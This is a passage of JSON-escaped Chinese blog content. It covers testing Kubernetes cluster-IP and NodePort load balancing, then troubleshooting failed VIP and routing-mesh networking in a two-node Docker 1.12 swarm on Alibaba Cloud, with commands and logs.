ip，k8s回为每个service分配一个cluster ip，这个cluster ip在service生命周期中不会改变，并且访问cluster ip的请求会被自动负载均衡到service里的后端container中。\n我们来启动一个replicas= 2的nginx service，我们需要先从一个描述文件来部署一个deployment：\n//run-my-nginx.yaml apiVersion: extensions/v1beta1 kind: Deployment metadata: name: my-nginx spec: replicas: 2 template: metadata: labels: run: my-nginx spec: containers: - name: my-nginx image: nginx:1.10.1 ports: - containerPort: 80 启动deployment:\nroot@iZ25cn4xxnvZ:~/k8stest/demo# kubectl create -f ./run-my-nginx.yaml deployment \u0026quot;my-nginx\u0026quot; created root@iZ25cn4xxnvZ:~/k8stest/demo# kubectl get deployment NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE my-nginx 2 2 2 2 9s root@iZ25cn4xxnvZ:~/k8stest/demo# kubectl get pods -l run=my-nginx -o wide NAME READY STATUS RESTARTS AGE IP NODE my-nginx-2395715568-2t6xe 1/1 Running 0 50s 172.16.57.3 10.46.181.146 my-nginx-2395715568-gpljv 1/1 Running 0 50s 172.16.99.2 10.47.136.60 可以看到my-nginx deployment已经成功启动，并且被调度在两个minion node上。\n接下来，我们将deployment转化为service:\n# kubectl expose deployment/my-nginx service \u0026quot;my-nginx\u0026quot; exposed root@iZ25cn4xxnvZ:~/k8stest/demo# kubectl get svc my-nginx NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE my-nginx 192.168.3.239 \u0026lt;none\u0026gt; 80/TCP 15s # kubectl describe svc my-nginx Name: my-nginx Namespace: default Labels: run=my-nginx Selector: run=my-nginx Type: ClusterIP IP: 192.168.3.239 Port: \u0026lt;unset\u0026gt; 80/TCP Endpoints: 172.16.57.3:80,172.16.99.2:80 Session Affinity: None 我们看到通过expose命令，可以将deployment转化为service，转化后，my-nginx service被分配了一个cluster-ip：192.168.3.239。\n我们启动一个client container用于测试内部负载均衡：\nroot@iZ25cn4xxnvZ:~/k8stest/demo# kubectl run myclient --image=registry.cn-hangzhou.aliyuncs.com/mioss/test --replicas=1 --command -- tail -f /var/log/bootstrap.log deployment \u0026quot;myclient\u0026quot; created root@iZ25cn4xxnvZ:~/k8stest/demo# kubectl get pods NAME READY STATUS RESTARTS AGE my-nginx-2395715568-2t6xe 1/1 Running 0 24m my-nginx-2395715568-gpljv 1/1 Running 0 24m myclient-1460251692-g7rnl 1/1 Running 0 21s 通过docker exec -it containerid /bin/bash进入myclient容器内，通过curl向上面的cluster-ip发起http请求：\nroot@myclient-1460251692-g7rnl:/# curl -v 192.168.3.239:80 同时在两个minion节点上，通过docker logs -f查看my-nginx service下面的两个nginx container实例日志，可以看到两个container轮询收到http request:\nroot@iZ25cn4xxnvZ:~/k8stest/demo# docker logs -f ccc2f9bb814a 172.16.57.0 - - [17/Oct/2016:06:35:57 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:06:36:13 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:06:37:06 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:06:37:45 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:06:37:46 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:06:37:50 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; root@iZ25mjza4msZ:~# docker logs -f 0e533ec2dc71 172.16.57.4 - - [17/Oct/2016:06:33:14 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.4 - - [17/Oct/2016:06:33:18 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.4 - - [17/Oct/2016:06:34:06 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.4 - - [17/Oct/2016:06:34:09 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.4 - - [17/Oct/2016:06:35:45 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.4 - - [17/Oct/2016:06:36:59 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; cluster-ip机制有效。\n2、nodeport机制 k8s通过nodeport机制实现类似docker的routing mesh，但底层机制和原理是不同的。\nk8s的nodePort的原理是在集群中的每个node上开了一个端口，将访问该端口的流量导入到该node上的kube-proxy，然后再由kube-proxy进一步讲流量转发给该对应该nodeport的service的alive的pod上。\n我们先来删除掉前面启动的my-nginx service，再重新创建支持nodeport的新my-nginx service。在k8s delete service有点讲究，我们删除service的目的不仅要删除service“索引”，还要stop并删除该service对应的Pod中的所有docker container。但在k8s中，直接删除service或delete pods都无法让对应的container stop并deleted，而是要通过delete service and delete deployment两步才能彻底删除service。\nroot@iZ25cn4xxnvZ:~# kubectl delete svc my-nginx service \u0026quot;my-nginx\u0026quot; deleted root@iZ25cn4xxnvZ:~# kubectl get service my-nginx Error from server: services \u0026quot;my-nginx\u0026quot; not found //容器依然在运行 root@iZ25cn4xxnvZ:~# kubectl get deployment my-nginx NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE my-nginx 2 2 2 2 20h root@iZ25cn4xxnvZ:~# kubectl delete deployment my-nginx deployment \u0026quot;my-nginx\u0026quot; deleted 再执行docker ps，看看对应docker container应该已经被删除。 重新创建暴露nodeport的my-nginx服务，我们先来创建一个新的service文件：\n//my-nginx-svc.yaml apiVersion: v1 kind: Service metadata: name: my-nginx labels: run: my-nginx spec: type: NodePort ports: - port: 80 nodePort: 30062 protocol: TCP selector: run: my-nginx 创建服务：\nroot@iZ25cn4xxnvZ:~/k8stest/demo# kubectl create -f ./my-nginx-svc.yaml deployment \u0026quot;my-nginx\u0026quot; created 查看服务信息：\nroot@iZ25cn4xxnvZ:~/k8stest/demo# kubectl describe service my-nginx Name: my-nginx Namespace: default Labels: run=my-nginx Selector: run=my-nginx Type: NodePort IP: 192.168.3.179 Port: \u0026lt;unset\u0026gt; 80/TCP NodePort: \u0026lt;unset\u0026gt; 30062/TCP Endpoints: 172.16.57.3:80,172.16.99.2:80 Session Affinity: None 可以看到与上一次的service信息相比，这里多出一个属性:NodePort 30062/TCP，这个就是整个服务暴露到集群外面的端口。\n接下来我们通过这两个node的公网地址访问一下这个暴露的nodeport，看看service中的两个ngnix container是否能收到request：\n通过公网ip curl 30062端口:\ncurl -v x.x.x.x:30062 curl -v y.y.y.y:30062 同样，我们用docker logs -f来监控两个nginx container的日志输出，可以看到：\nnginx1: 172.16.57.4 - - [17/Oct/2016:08:19:56 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.35.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.1 - - [17/Oct/2016:08:21:55 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.1 - - [17/Oct/2016:08:21:56 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.1 - - [17/Oct/2016:08:21:59 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.1 - - [17/Oct/2016:08:22:07 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.1 - - [17/Oct/2016:08:22:09 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; nginx2： 172.16.57.0 - - [17/Oct/2016:08:22:05 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:08:22:06 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:08:22:08 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [17/Oct/2016:08:22:09 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 两个container轮询地收到外部转来的http request。\n现在我们将my-nginx服务的scale由2缩减为1：\nroot@iZ25cn4xxnvZ:~# kubectl scale --replicas=1 deployment/my-nginx deployment \u0026quot;my-nginx\u0026quot; scaled 再次测试nodeport机制：\ncurl -v x.x.x.x:30062 curl -v y.y.y.y:30062 scale后，只有master上的my-nginx存活。由于nodeport机制，没有my-nginx上的node收到请求后，将请求转给kube-proxy，通过内部clusterip机制，发给有my-nginx的container。\nmaster上的nginx container： 172.16.99.1 - - [18/Oct/2016:00:55:04 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; 172.16.57.0 - - [18/Oct/2016:00:55:10 +0000] \u0026quot;GET / HTTP/1.1\u0026quot; 200 612 \u0026quot;-\u0026quot; \u0026quot;curl/7.30.0\u0026quot; \u0026quot;-\u0026quot; nodeport机制测试ok。通过netstat我们可以看到30062端口是node上的kube-proxy监听的端口，因此即便该node上没有nginx服务container运行，kube-proxy也会转发request。\nroot@iZ25cn4xxnvZ:~# netstat -tnlp|grep 30062 tcp6 0 0 :::30062 :::* LISTEN 22076/kube-proxy 六、尾声 到这里，k8s集群已经是可用的了。但要用好背后拥有15年容器经验沉淀的k8s，还有很长的路要走，比如安装Addon（DNS plugin等）、比如安装Dashboard等。这些在这里暂不提了，文章已经很长了。后续可能会有单独文章说明。\n","permalink":"https://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/","summary":"\u003cp\u003e由于之前在阿里云上部署的\u003ca href=\"http://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12/\"\u003eDocker 1.12.2的Swarm集群\u003c/a\u003e没能正常展示出其所宣称的Routing mesh和VIP等功能，为了满足项目需要，我们只能转向另外一种容器集群管理和服务编排工具\u003ca href=\"http://kubernetes.io/\"\u003eKubernetes\u003c/a\u003e。\u003c/p\u003e","title":"一篇文章带你了解Kubernetes安装"},{"content":"前段时间，由于工作上的原因，与Docker的联系发生了几个月的中断^_^，从10月份开始，工作中又与Docker建立了广泛密切的联系。不过这次，Docker却给我泼了一盆冷水:(。事情的经过请允许多慢慢道来。\n经过几年的开发，Docker已经成为轻量级容器领域不二的事实标准，应用范围以及社区都在快速发展和壮大。今年的年中，Docker发布了其里程碑的版本Docker 1.12，该版本最大的变动就在于其引擎自带了swarmkit ，一款Docker开发的容器集群管理工具，可以让用户无需安装第三方公司提供的工具或Docker公司提供的引擎之外的工具，就能搭建并管理好一个容器集群，并兼有负载均衡、服务发现和服务编排管理等功能。这对于容器生态圈内的企业，尤其是那些做容器集群管理和服务编排平台的公司来说，不亚于当年微软在Windows操作系统中集成Internet Explorer。对此，网上和社区对Docker口诛笔伐之声不绝于耳，认为Docker在亲手打击社区，葬送大好前程。关于商业上的是是非非，我们这里暂且不提。不可否认的是，对于容器的普通用户而言，Docker引擎内置集群管理功能带来的更多是便利。\n9月末启动的一款新产品的开发中，决定使用容器技术，需要用到容器的集群管理以及服务伸缩、服务发现、负载均衡等特性。鉴于团队的能力和开发时间约束，初期我们确定直接利用Docker 1.12版本提供的这些内置特性，而不是利用第三方，诸如k8s或Rancher这样的第三方容器集群管理工具或是手工利用各种开源组件“拼凑”出一套满足需求的集群管理系统，如利用consul做服务注册和发现等。于是Docker 1.12的集群模式之旅就开始了。\n一、环境准备 这次我们直接使用的是阿里的公有云虚拟主机服务，这里使用两台aliyun ECS：\nmanager: 10.46.181.146/21(内网)\nworker: 10.47.136.60/22 (内网）\n系统版本为：\nUbuntu 14.04.4: Linux iZ25cn4xxnvZ 3.13.0-86-generic #130-Ubuntu SMP Mon Apr 18 18:27:15 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux Docker版本：\n# docker version Client: Version: 1.12.1 API version: 1.24 Go version: go1.6.3 Git commit: 23cf638 Built: Thu Aug 18 05:22:43 2016 OS/Arch: linux/amd64 Server: Version: 1.12.1 API version: 1.24 Go version: go1.6.3 Git commit: 23cf638 Built: Thu Aug 18 05:22:43 2016 OS/Arch: linux/amd64 在Ubuntu上Docker的安装日益方便了，我个人习惯于采用daocloud推荐的方式，在这里可以看到。当然你也可以参考Docker官方的doc。\n如果你的Ubuntu上已经安装了old版的Docker，也可以在docker的github上下载相应平台的二进制包，覆盖本地版本即可（注意1.10.0版本前后的Docker组件有所不同）。\n二、Swarm集群搭建 Docker 1.12内置swarm mode，即docker原生支持的docker容器集群管理模式，只要是执行了docker swarm init或docker swarm join到一个swarm cluster中，执行了这些命令的host上的docker engine daemon就进入了swarm mode。\nswarm mode中，Docker进行了诸多抽象概念（这些概念与k8s、rancher中的概念大同小异，也不知是谁参考了谁^_^）：\n- node: 部署了docker engine的host实例，既可以是物理主机，也可以是虚拟主机。 - service: 由一系列运行于集群容器上的tasks组成的。 - task: 在具体某个docker container中执行的具体命令。 - manager: 负责维护docker cluster的docker engine，通常有多个manager在集群中，manager之间通过raft协议进行状态同步，当然manager角色engine所在host也参与负载调度。 - worker: 参与容器集群负载调度，仅用于承载tasks。 swarm mode下，一个Docker原生集群至少要有一个manager，因此第一步我们就要初始化一个swarm cluster：\n# docker swarm init --advertise-addr 10.46.181.146 Swarm initialized: current node (c7vo4qtb2m41796b4ji46n9uw) is now a manager. To add a worker to this swarm, run the following command: docker swarm join \\ --token SWMTKN-1-1iwaui223jy6ggcsulpfh1bufn0l4oq97zifbg8l5na914vyz5-2mg011xh7vso9hu7x542uizpt \\ 10.46.181.146:2377 To add a manager to this swarm, run 'docker swarm join-token manager' and follow the instructions. 通过一行swarm init命令，我们就创建了一个swarm集群。同时，Docker daemon给出了清晰提示，如果要向swarm集群添加worker node，执行上述提示中的语句。如果其他node要以manager身份加入集群，则需要执行：docker swarm join-token manager以获得下一个“通关密语”^_^。\n# docker swarm join-token manager To add a manager to this swarm, run the following command: docker swarm join \\ --token SWMTKN-1-1iwaui223jy6ggcsulpfh1bufn0l4oq97zifbg8l5na914vyz5-8wh5gp043i1cqz4at76wvx29m \\ 10.46.181.146:2377 对比两个“通关密语”，我们发现仅是token串的后半部分有所不同(2mg011xh7vso9hu7x542uizpt vs. 8wh5gp043i1cqz4at76wvx29m)。\n在未添加新node之前，我们可以通过docker node ls查看当前集群内的node状态：\n# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS c7vo4qtb2m41796b4ji46n9uw * iZ25mjza4msZ Ready Active Leader 可以看出当前swarm仅有一个node，且该node是manager，状态是manager中的leader。\n我们现在将另外一个node以worker身份加入到该swarm：\n# docker swarm join \\ --token SWMTKN-1-1iwaui223jy6ggcsulpfh1bufn0l4oq97zifbg8l5na914vyz5-2mg011xh7vso9hu7x542uizpt \\ 10.46.181.146:2377 This node joined a swarm as a worker. 在manager上查看node情况：\n# docker node ls ID HOSTNAME STATUS AVAILABILITY MANAGER STATUS 8asff8ta70j91myh734os6ihg iZ25cn4xxnvZ Ready Active c7vo4qtb2m41796b4ji46n9uw * iZ25mjza4msZ Ready Active Leader Swarm集群中已经有了两个active node：一个manager和一个worker。这样我们的集群环境初建ok。\n三、Service启动 Docker 1.12版本宣称提供服务的Scaling、health check、滚动升级等功能，并提供了内置的dns、vip机制，实现service的服务发现和负载均衡能力。接下来，我们来测试一下docker的“服务能力”：\n我们先来创建一个用户承载服务的自定义内部overlay网络：\nroot@iZ25mjza4msZ:~# docker network create -d overlay mynet1 avjvpxkfg6u8xt0qd5xynoc28 root@iZ25mjza4msZ:~# docker network ls NETWORK ID NAME DRIVER SCOPE dba1faa24c0d bridge bridge local a2807d0ec7ed docker_gwbridge bridge local 2b6eb8b95c00 host host local 55v43pasf7p9 ingress overlay swarm avjvpxkfg6u8 mynet1 overlay swarm 6f2d47678226 none null local 我们看到在network list中，我们的overlay网络mynet1出现在列表中。这时，在worker node上你还看不到mynet1的存在，因为按照目前docker的机制，只有将归属于mynet1的task调度到worker node上时，mynet1的信息才会同步到worker node上。\n接下来就是在mynet1上启动service的时候了，我们先来测试一下：\n在manager节点上，用docker service命令启动服务mytest： # docker service create --replicas 2 --name mytest --network mynet1 alpine:3.3 ping baidu.com 0401ri7rm1bdwfbvhgyuwroqn 似乎启动成功了，我们来查看一下服务状态：\nroot@iZ25mjza4msZ:~# docker service ps mytest ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR 73hyxfhafguivtrbi8dyosufh mytest.1 alpine:3.3 iZ25mjza4msZ Ready Preparing 1 seconds ago c5konzyaeq4myzswthm8ax77w \\_ mytest.1 alpine:3.3 iZ25mjza4msZ Shutdown Failed 1 seconds ago \u0026quot;starting container failed: co…\u0026quot; 6umn2qlj34okagb4mldpl6yga \\_ mytest.1 alpine:3.3 iZ25mjza4msZ Shutdown Failed 6 seconds ago \u0026quot;starting container failed: co…\u0026quot; 5y7c1uoi73272uxjp2uscynwi \\_ mytest.1 alpine:3.3 iZ25mjza4msZ Shutdown Failed 11 seconds ago \u0026quot;starting container failed: co…\u0026quot; 4belae8b8mhd054ibhpzbx63q \\_ mytest.1 alpine:3.3 iZ25mjza4msZ Shutdown Failed 16 seconds ago \u0026quot;starting container failed: co…\u0026quot; 似乎服务并没有起来，service ps的结果告诉我：出错了！\n但从ps的输出来看，ERROR那行的日志太过简略：“starting container failed: co…” ，无法从这里面分析出失败原因，通过docker logs查看失败容器的日志（实际上日志是空的）以及通过syslog查看docker engine的日志都没有特殊的发现。调查了许久，无意中尝试手动重启一下失败的Service task：\n# docker start 4709dbb40a7b Error response from daemon: could not add veth pair inside the network sandbox: could not find an appropriate master \u0026quot;ov-000101-46gc3\u0026quot; for \u0026quot;vethf72fc59\u0026quot; Error: failed to start containers: 4709dbb40a7b 从这个Daemon返回的Response Error来看似乎与overlay vxlan的网络驱动有关。又经过搜索引擎的确认，大致确定可能是因为host的kernel version太low导致的，当前kernel是3.13.0-86-generic，记得之前在docker 1.9.1时玩vxlan overlay我是将kernel version升级到3.19以上了。于是决定升级kernel version。\n升级到15.04 ubuntu版本的内核： 命令： apt-get install linux-generic-lts-vivid 升级后：\n# uname -a Linux iZ25cn4xxnvZ 3.19.0-70-generic #78~14.04.1-Ubuntu SMP Fri Sep 23 17:39:18 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux reboot虚拟机后，重新启动mytest service，这回服务正常启动了。看来升级内核版本这味药是对了症了。\n这里issue第一个吐槽：Docker强依赖linux kernel提供的诸多feature，但docker似乎在kernel版本依赖这块并未给出十分明确的对应关系，导致使用者莫名其妙的不断遇坑填坑，浪费了好多时间。 顺便这里把service的基本管理方式也一并提一下：\nscale mytest服务的task数量从2到4：\ndocker service scale mytest=4 删除mytest服务：\ndocker service rm mytest 服务删除执行后，需要一些时间让docker engine stop and remove container instance。\n四、vip机制测试 Docker 1.12通过集群内置的DNS服务实现服务发现，通过vip实现自动负载均衡。单独使用DNS RR机制也可以实现负载均衡，但这种由client端配合实现的机制，无法避免因dns update latency导致的服务短暂不可用的情况。vip机制才是相对理想的方式。\n所谓Vip机制，就是docker swarm为每一个启动的service分配一个vip，并在DNS中将service name解析为该vip，发往该vip的请求将被自动分发到service下面的诸多active task上（down掉的task将被自动从vip均衡列表中删除）。\n我们用nginx作为backend service来测试这个vip机制，首先在集群内启动mynginx service，内置2个task，一般来说，docker swarm会在manager和worker node上各启动一个container来承载一个task：\n# docker service create --replicas 2 --name mynginx --network mynet1 --mount type=bind,source=/root/dockertest/staticcontents,dst=/usr/share/nginx/html,ro=true nginx:1.10.1 3n7dlr8km9v2xd66bf0mumh1h 一切如预期，swarm在manager和worker上各自启动了一个nginx container:\n# docker service ps mynginx ID NAME IMAGE NODE DESIRED STATE CURRENT STATE ERROR bcyffgo1q3i5x0qia26fs703o mynginx.1 nginx:1.10.1 iZ25mjza4msZ Running Running about a minute ago arkol2l7gpvq42f0qytqf0u85 mynginx.2 nginx:1.10.1 iZ25cn4xxnvZ Running Running about a minute ago 接下来，我们尝试在mynet1中启动一个client container，并在client container中使用ping、curl对mynginx service进行vip机制的验证测试。client container的image是基于ubuntu:14.04 commit的本地image，只是在官方image中添加了curl, dig, traceroute等网络探索工具，读者朋友可自行完成。\n我们在manager node上尝试启动client container:\n# docker run -it --network mynet1 ubuntu:14.04 /bin/bash docker: Error response from daemon: swarm-scoped network (mynet1) is not compatible with `docker create` or `docker run`. This network can only be used by a docker service. See 'docker run --help'. 可以看到：直接通过docker run的方式在mynet1网络里启动container的方法失败了，docker提示：docker run与swarm范围的网络不兼容。看来我们还得用docker service create的方式来做。\n# docker service create --replicas 1 --name myclient --network mynet1 test/client tail -f /var/log/bootstrap.log 0eippvade7j5e0zdyr5nkkzyo # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 4da6700cdf4d test/client:latest \u0026quot;tail -f /var/log/boo\u0026quot; 33 seconds ago Up 32 seconds myclient.1.3cew8x46i5b28e2q3kd1zz3mq 我们使用exec命令attach到client container中：\nroot@iZ25mjza4msZ:~# docker exec -it 4da6700cdf4d /bin/bash root@4da6700cdf4d:/# 在client container中，我们可以通过dig命令查看mynginx service的vip：\nroot@4da6700cdf4d:/# dig mynginx ; \u0026lt;\u0026lt;\u0026gt;\u0026gt; DiG 9.9.5-3ubuntu0.9-Ubuntu \u0026lt;\u0026lt;\u0026gt;\u0026gt; mynginx ;; global options: +cmd ;; Got answer: ;; -\u0026gt;\u0026gt;HEADER\u0026lt;\u0026lt;- opcode: QUERY, status: NOERROR, id: 34806 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;mynginx. IN A ;; ANSWER SECTION: mynginx. 600 IN A 10.0.0.2 ;; Query time: 0 msec ;; SERVER: 127.0.0.11#53(127.0.0.11) ;; WHEN: Tue Oct 11 08:58:58 UTC 2016 ;; MSG SIZE rcvd: 48 可以看到为mynginx service分配的vip是10.0.0.2。\n接下来就是见证奇迹的时候了，我们尝试通过curl访问mynginx这个service，预期结果是：请求被轮询转发到不同的nginx container中，返回结果输出不同内容。实际情况如何呢？\nroot@4da6700cdf4d:/# curl mynginx ^C root@4da6700cdf4d:/# curl mynginx \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026quot;UTF-8\u0026quot;\u0026gt; \u0026lt;title\u0026gt; 主标题 | 副标题\u0026lt; /title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;hello world, i am manager\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; root@4da6700cdf4d:/# curl mynginx curl: (7) Failed to connect to mynginx port 80: Connection timed out 第一次执行curl mynginx，curl就hang住了。ctrl+c后，再次执行curl mynginx，顺利返回manager节点上的nginx container的response结果：”hello world, i am manager“。\n第三次执行curl mynginx，又hang住了，一段时间后显示timed out，这也从侧面说明了，swarm下的docker engine的确按照rr规则将request均衡转发到不同nginx container，但实际看来，从manager node上的client container到worker node上的nginx container的网络似乎不通。我们来验证一下这两个container间的网络是否ok。\n我们在两个node上分别用docker inspect获得client container和nginx container的ip地址：\nmanager node: client container: 10.0.0.6 nginx container: 10.0.0.4 worker node: nginx container: 10.0.0.3 理论上，位于同一overlay网络中的三个container之间应该是互通的。但实际上通过docker exec -it container_id /bin/bash进入每个docker container内部进行互ping来看，manager node上的两个container可以互相ping通，但无法ping通 worker node上的nginx container，同样，位于worker node上的nginx container也无法ping通位于manager node上的任何container。\n通过docker swarm leave将worker节点从swarm cluster中摘出，docker swarm会在manager上再启动一个nginx container，这时如果再再client container测试vip机制，那么测试是ok的。\n也就是说我遇到的问题是跨node的swarm network不好用，导致vip机制无法按预期执行。\n后续我又试过双swarm manager等方式，vip机制在跨node时均不可用。在docker github的issue中，很多人遇到了同样的问题，涉及的环境也是多种多样（不同内核版本、不同linux发行版，不同公有云提供商或本地虚拟机管理软件），似乎这个问题是随机出现的。 按照docker developer的提示检查了swarm必要端口的开放情况、防火墙、swarm init的传递参数，都是无误的。也尝试过重建swarm，在init和join时全部显式带上–listen-addr和–advertise-addr选项，问题依旧没能解决。\n最后，又将docker版本从1.12.1升级到最新发布的docker 1.12.2rc3版本，重建集群，问题依旧没有解决。\n自此确定，docker 1.12的vip机制尚不稳定，并且没有临时解决方案能绕过这一问题。\n五、Routing mesh机制测试 内部网络的vip机制的测试失败，让我在测试Docker 1.12的另外一个机制：Routing mesh之前心里蒙上了一丝阴影，一个念头油然而生：Routing mesh可能也不好用。\n对于外部网络和内部网络的边界，docker 1.12提供了ingress（入口） overlay网络应对，通过routing mesh机制，保证外部的请求可以被任意集群node转发到启动了相应服务container的node中，并保证高\n可用。如果有多个container，还可以实现负载均衡的转发。\n与vip不同，Routing mesh在启动服务前强调暴露一个node port的概念。既然叫node port，说明这个暴露的port是docker engine listen的，并由docker engine将发到port上的流量转到相应启动了service container的节点上去（如果本node也启动了service task，那么也会负载分担留给自己node上的service task container去处理）。\n我们先清除上面的service，还是利用nginx来作为网络入口服务：\n# docker service create --replicas 2 --name mynginx --network mynet1 --mount type=bind,source=/root/dockertest/staticcontents,dst=/usr/share/nginx/html,ro=true --publish 8091:80/tcp nginx:1.10.1 cns4gcsrs50n2hbi2o4gpa1tp 看看node上的8091端口状态：\nroot@iZ25mjza4msZ:~# lsof -i tcp:8091 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME dockerd 13909 root 37u IPv6 121343 0t0 TCP *:8091 (LISTEN) dockerd负责监听该端口。\n接下来，我们在manager node上通过curl来访问10.46.181.146:8091。\n# curl 10.46.181.146:8091 ^C root@iZ25mjza4msZ:~# curl 10.46.181.146:8091 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026quot;UTF-8\u0026quot;\u0026gt; \u0026lt;title\u0026gt; 主标题 | 副标题\u0026lt; /title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;p\u0026gt;hello world, i am master\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; root@iZ25mjza4msZ:~# curl 10.46.181.146:8091 在vip测试中的一幕又出现了，docker swarm似乎再将请求负载分担到两个node上，当分担到worker node上时，curl又hang住了。routing mesh机制失效。\n理论上再向swarm cluster添加一个worker node，该node上并未启动nginx service，当访问这个新node的8091端口时，流量也会被转到manager node或之前的那个worker node，但实际情况是，跨node流量互转失效，和vip机制测试似乎是一个问题。\n六、小结 Docker 1.12的routing mesh和vip均因swarm network的问题而不可用，这一点出乎我的预料。\n翻看Docker在github上的issues，发现类似问题从Docker 1.12发布起就出现很多，近期也有不少：\nhttps://github.com/docker/docker/issues/27237 https://github.com/docker/docker/issues/27218 https://github.com/docker/docker/issues/25266 https://github.com/docker/docker/issues/26946 *https://github.com/docker/docker/issues/27016 这里除了27016的issue发起者在issue最后似乎顿悟到了什么（也没了下文）：Good news. I believe I discovered the root cause of our issue. Remember above I noted our Swarm spanned across L3 networks? I appears there is some network policy that is blocking VxLAN traffic (4789/udp) across the two L3 networks. I redeployed our same configuration to a single L3 network and can reliably access the published port on all worker nodes (based on a few minutes of testing)。其余的几个issue均未有solution。\n不知道我在阿里云的两个node之间是否有阻隔vxlan traffic的什么policy，不过使用nc探测4789 udp端口均是可用的：\nnc -vuz 10.47.136.60 4789 